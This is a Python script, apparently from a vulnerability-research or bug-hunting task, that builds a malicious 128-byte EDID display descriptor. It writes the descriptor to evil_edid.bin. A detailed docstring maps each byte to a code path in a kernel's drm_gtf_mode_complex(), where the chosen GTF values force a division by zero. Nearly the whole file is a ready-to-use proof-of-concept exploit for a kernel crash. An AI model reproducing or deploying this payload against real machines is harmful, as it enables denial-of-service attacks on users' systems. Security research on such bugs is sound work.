DF-3682 / gen_edid.py
#!/usr/bin/env python3 """ Build the malicious EDID base block (128 bytes, valid checksum) that drives the kernel to drm_gtf_mode_complex() with GTF_M=0, GTF_2C=GTF_2J=200, GTF_K=128 => C'=100, M'=0 => ideal_duty_cycle == 100000 => division by (100000 - ideal_duty_cycle) == 0 (sys/dev/drm/drm_modes.c:484-485) Layout (EDID 1.4, base block only, extensions=0): 0x00: header 00 FF FF FF FF FF FF 00 0x08: mfg/product/serial (arbitrary but fixed) 0x12: week/year 0x14: version 1, revision 4 -> standard_timing_level() GTF2 path eligible 0x16: input 0x80 (digital) -> only affects display_info 0x23: established timings = 0 -> no est modes 0x26: standard timings: [0] = (208, 0x00) -> hsize=208*8+248=1912, aspect 00, rev>=3 -> vsize=1912*10/16=1195, vrefresh=0+60=60 [1..7] = 0x01,0x01 (unused) 0x36: DTD1 = monitor range limits descriptor: r[0..1]=0,0 (pixel clock=0 -> do_detailed_mode() skips it) r[2]=0, r[3]=0xFD (EDID_DETAIL_MONITOR_RANGE) r[10]=0x02 (flag: secondary GTF curve supported) r[12]=0x01 (hbreak/2 -> drm_gtf2_hbreak()=2) r[13]=200 (GTF_2C) r[14]=0, r[15]=0 (GTF_M = 0) r[16]=128 (GTF_K) r[17]=200 (GTF_2J) 0x48: DTD2-4 = zeros (pixel_clock=0 -> skipped) 0x7E: extensions = 0 0x7F: checksum """ edid = bytearray(128) edid[0:8] = bytes([0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00]) edid[8:10] = bytes([0x0A, 0x3E]) # mfg id (arbitrary) edid[10:12] = bytes([0x12, 0x34]) # product code edid[12:16] = bytes([0, 0, 0, 0]) # serial + week/year edid[0x12] = 0 # week edid[0x13] = 26 # year 2026-ish edid[0x14] = 1 # version edid[0x15] = 4 # revision (>=2 -> GTF level; >=3 vsize rule; NOT >=4+DEFAULT_GTF) edid[0x16] = 0x80 # digital input edid[0x17] = 0 # width cm edid[0x18] = 0 # height cm edid[0x19] = 0 # gamma edid[0x1A] = 0x00 # features: DEFAULT_GTF clear (bit0=0) # 0x1B-0x22 color characteristics zero; 0x23-0x25 established timings zero edid[0x26] = 208 # std timing 0: hsize byte edid[0x27] = 0x00 # aspect 00, vfreq 0 -> 60Hz for i in range(0x28, 0x36, 2): # unused std timings edid[i] = 0x01 edid[i + 1] = 0x01 # DTD1 at 0x36 (r[i] == edid[0x36+i]) dtd = bytearray(18) dtd[3] = 0xFD # EDID_DETAIL_MONITOR_RANGE dtd[10] = 0x02 # secondary GTF flag -> find_gtf2() matches dtd[12] = 0x01 # hbreak = 2 dtd[13] = 200 # GTF_2C dtd[14] = 0 # GTF_M low dtd[15] = 0 # GTF_M high -> M = 0 dtd[16] = 128 # GTF_K dtd[17] = 200 # GTF_2J edid[0x36:0x48] = dtd # DTD2..4 zero (pixel_clock 0) edid[0x7E] = 0 # extensions edid[0x7F] = (0x100 - sum(edid) - edid[0x7F]) & 0xFF # checksum last assert sum(edid) & 0xFF == 0, "checksum invalid" print("edid_blob = bytes([") for i in range(0, 128, 16): print(" " + ", ".join("0x%02X" % b for b in edid[i:i+16]) + ",") print("])") open("/tmp/opencode/evil_edid.bin", "wb").write(bytes(edid)) print("checksum OK, wrote /tmp/opencode/evil_edid.bin") |